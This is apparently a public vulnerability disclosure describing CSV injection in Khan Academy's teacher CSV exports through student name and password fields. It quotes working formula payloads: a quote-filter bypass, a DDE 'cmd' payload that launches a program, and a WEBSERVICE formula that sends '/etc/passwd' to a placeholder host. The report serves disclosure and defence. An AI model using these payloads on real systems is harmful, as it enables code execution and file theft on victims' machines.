CSV Injection Via Student Password/Name Leads To Client Side RCE And Reading Client Files

Summary

Insufficient CSV escaping could result in our site generating an unsafe CSV file for an end user under certain conditions. See the reporter's summary for more.

Two CSV Injection Issues Was Discovered On Khan's Teacher CSV Export Function, That Could Allow Client Site Remote Code Execution, And Reading Local Files From The Client Machine.

First One Was Discovered On Students Data Export Function, I Was Able To Avoid Double Quotes Filter With White Space At First, By Using LibreOffice Singel Quotes Format. I Was Able To Add This Simple Payload ",'=2+11'," That Got Executed With 13 On The Cell Since The Double Quotes Changes From " To "", And The Payload Successfully Got On The Cell, After Some Testing, I Got That This Method Only Work For Executing Stuff That Doesn't Contain Double Quotes, But it's Possible To Triage The Other Real Attacks If The Double Quotes Don't Get Increase Twice.

The second One Was Discovered On Add Student Function For The Teacher, After The Teacher Add's The User, He's Able To Download The User's Data Via CSV, Student Password Was The Vulnerable Input Here Since There's No CSV Filters For The Password, Client-Side RCE, And Client Local File Access Was Possible Using This Payload's

Remote Code Execution: ;=2+5+cmd|' /C calc'!A0 Local File Read: "=WEBSERVICE(CONCATENATE(""https://HOST:PORT"" , ('file:///etc/passwd'#$passwd.A1)))"

Thanks For @drosile, For The Great Work!